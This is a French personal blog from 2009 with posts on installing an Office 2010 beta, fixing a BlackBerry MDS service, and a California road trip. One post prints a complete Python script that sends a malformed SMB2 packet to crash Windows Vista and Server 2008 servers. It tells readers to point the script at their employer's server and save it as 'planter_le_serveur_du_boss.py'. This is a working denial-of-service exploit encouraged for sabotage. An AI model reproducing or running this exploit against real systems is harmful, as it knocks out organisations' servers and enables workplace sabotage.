mercredi 30 septembre 2009

Microsoft Office 2010 Beta

J'ai téléchargé Office 2010 Beta, build 14.0.4417.1000, histoire de voir un peu ce que ca donne.

L'installation se déroule sans soucis, jusqu'à la fin. Et paf! Erreur 1920 :
Error 1920. Sercice 'Windows Search' (wsearch) failed to start. Verify that you have sufficient privileges to start system services.
Comment faire...
Sous Windows Seven, Windows Search fait partie du système et ne peux pas être réinstallé ou mis à jour directement.
Ma première idée : désactiver le module.
Dans le Panneau de Configuration, Programmes et Fonctionnalités, Fonctionnalités Windows.
Je décoche la case Windows Search, et je redémarre le PC.

Je relance l'installation et j'attends...

La barre de progression est maintenant au même niveau que tout à l'heure.
Pour observer le comportement de l'installation, je lance le gestionnaire de services, et l'observateur d'évènements.

Dans les Services Windows, le service Windows Search ne semble pas présent. Donc je pense que l'installateur d'Office n'a pas rajouté le module par lui-même.
Observateur d'évènements -> Journaux Windows -> Applications : Rien d'alarmant... Ouf

L'installation continue... Et se termine !

jeudi 24 septembre 2009

Faire planter un serveur dans une entreprise... Trop simple !

Je viens de tester cette méthode sur un de mes serveurs, sous Windows Server 2008 :

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


Voilà un petit but de code en Python. Vous voulez faire planter un serveur ?
Copiez ce code dans votre bloc note, modifier "IP_ADD" par l'adresse IP du serveur à faire sauter, sauvegardez le tout sous "planter_le_serveur_du_boss.py".
Téléchargez le runtime Python à cette adresse.

Double-cliquez sur le fichier créé... Et vous obtiendrez un bel écran bleu sur le serveur!

Ce petit script marche avec Windows Vista et Server 2008, mais également sous Windows Seven RC. La version finale de Seven est protégée en revanche.

Vous voulez connaitre le comble de l'histoire? Cette faille de sécurité est liée à un patch de sécurité précédent de Windows! Magnifique...

Cette faille concerne le protocole de partage de fichiers de Windows, le protocole Samba. Le seul moyen de se protéger de  cette faille pour le moment est de désactiver le partage de fichiers. C'est bien mais ça reste gênant sur un serveur sensé servir de serveur de fichiers!

mercredi 23 septembre 2009

Blackberry Mobile Data System Service

Aujourd'hui en stage, j'ai passé près de 2 heures à comprendre pourquoi le service MDS de Blackberry ne voulait pas démarrer.

J'avais à l'écran de mon portable un message du genre "Le service Mobile Data System n'est pas disponible" ou "The Mobile Data System (MDS) is not available"...

Je lance la console de gestion de Blackberry et je me rend effectivement compte que le service ne démarrait pas. L'Event Viewer de Windows Server ne me donnant pas d'informations utiles (à part "Cannot show the error description") j'ai cherché à trifouiller partout.

Le MDS se base sur Tomcat, dépendant de la machine vurtuelle Java. Et là... Ding !

Pour éviter d'encombrer le serveur j'avais supprimé la vieille machine 1.5 en la remplacant par la 1.6. Or, le service démarre en exécutant la machine virtuelle Java qui lui est passée en paramètre lors de son installation.

Lancement du bon vieux Regedit :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servvices\Blackberry MDS Connection Service
La clé "ImagePath" contient la ligne de commande du service :
"D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\bin\bmds.exe" -s jvmpath="C:\Program Files (x86)\Java\jre6\bin\client\jvm.dll" -XX:+DisableExplicitGC -Xss64K -Xmx768M -Xms128M classpathdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\classpath\\" wrkdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\Servers\BLACKBERRYSERVER\\" webserverdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\webserver\\" -rbes "SERVERNAS_MDS-CS_1"

La partie en gras est ce qu'il faut modifier. J'ai mis "jre6" à la place de l'ancienne version, maintenant supprimée.

Et voilà, le service a redémarré.

Retour

Après une longue période d'absence, je reprend mon blog.

Pourquoi cette absence?
Restant en France pour cette année, je ne voyais pas l'intérêt de continuer ce blog. Mais comme je compte retourner en Californie l'an prochain, je vais continuer.

mardi 21 avril 2009

Journée à Sonoma Valley

Bon dernier post de la journée pour dire que...

Je suis allé aujourd'hui avec Max, PJ, Elodie et Chrystelle à Sonoma Valley, où on fait du vin...

Quelques dégustations malgré nos ages, et voilà...
Journée bien sympa à refaire sur Napa Valley!

Et ce soir, repas Mexicain chez Max!

Road Trip, 2800 miles environ

Et voilà, un autre Road Trip de fait!

On est partis de San Francisco le mardi 14 avril vers 6h, de l'appart.

Première étape, Las Vegas. Robin et Khalid n'y étaient jamais allé. A cause du vent, le "water show" du Belagio Hotel a été anulé, tant pis.

Deuxième étape, Hurricane, dans l'Utah. Justa avant le Capitol Reef Park.
Pendant cette journée nous avons visité la Valley of Fire State Park...

Troisième soir, au niveau de Torrey, également dans l'Utah juste après Zion Park puis Bryce Canyon sous la neige... Pas mal ^^
Torrey, Petit "village" de... aucun habitant je pense! La ville la plus proche, Teasdale, se trouve à moins de 8 miles, et 25 personnes vivent là! 
De la neige... Et du froid. Il a fait -3°C le matin en se levant, et la voiture était toute blanche!

Puis ce fut le tour de Blanding dans l'Utah après Archees Park, Canyonland Park, puis le Dead Horse Point Park.
Vu que la frontière du Colorado se trouve a quelques miles de la route menant à Blanding, on a pris à l'Est au niveau de Monticello (toujours dans l'Utah). Après avoir pris quelques photos de nuit maleuseusement devant la pancarte "Welcome to Colorado", on a fait demi tour pour reprendre la route vers Blanding, vers le Nord.

On a ensuite dormis à Flagstaff dans l'Arizona. Durant la journée nous sommes passés par le désert, la réserve indienne des Mojaves. Après avoir passer la frontière de l'Arizona, on se retouve au niveau de Monument Valley... Wow!
En prenant vers l'Ouest à Moenave, on tombe sur le Grand Canyon... Encore une fois, Wow!

Avant dernière journée! Direction Hollywood en Californie en passant par Phoenix dans l'Arizona. Phoenix, ville en plein milieu du désert, ou l'essence n'était qu'à 1.87$ le gallon, est une ville très très chaude! Pas de vent... Trop chaud^^
Puis la route vers Los Angeles/Hollywood. 

Dernière journée!
Hollywood Boulevard, les Etoiles, les empreintes de pieds et de mains de stars... Sympa ^^
On a pris vers la côte, direction Malibu en passant par Santa Monica. On ne s'est pas arrêté à Santa Monica mais on a passé quelque temps sur la plage de Malibu! Là, la température de l'eau est déjç plus confortable qu'au niveau de San Francisco!
Puis pour finir, direction San Francisco par la US 101. C'est plus cours que la Route 1 qui suit le bord de l'océan, mais moins lassant que l'autoroute...


En bref :
L'Utah est un état impressionant... Sa TVA est de 12.5% contrairement à celle de Californie qui est de 8.5%... Vu que tous les prix sont affichés hors taxes ca change un peu a la fin, sur la note...
Nan sérieux... Dans l'Utah, on peut passer de 5° à 25° en quelques heures de conduites. De 3000m d'altitude à 1000m... De la neige sur la route au désert sec.

7 jours au total, c'est long, mais sympa... Près de 2800 miles de route, faut les faire, c'est pas rien. Pour comparer c'est à peu près la distance qu'il y a entre Paris et la frontière Ouest du Kazagstan!

Ma voiture tient bien la distance et les contraintes climatiques... Plus que ce que je pensais. Je m'excuse ma grande, d'avoir dit du mal de toi les jours passés...

Je suis fatigué... 
Tellement fatigué que j'allais oublier :
Voilà la carte du Road Trip. (pas encore complète)

Petite absence

J'avoue, je suis un gros flemmard!
Il s'en est passé des trucs ici à San Francisco depuis mon dernier post...

Repas sur la plage, avec un Kari Poulet fait par Adrier et Amélie. Superbe journée au soleil (et avec des coups de soleil également).

Des nouvelles sur les stages et sur nos reves américains qui s'effondrent légèrement... Ou du moins qui se trouvent être... des rêves!

Du beau temps...

Encore du beau temps.

Encore la plage...

Quelques cours...

Des cours supers avec un prof américain! Des cours de communication, que certains devraient passer pour améliorer leurs relations humaines.

Bref, de tout... Et des photos également, que je devrais ajouter d'ici peu.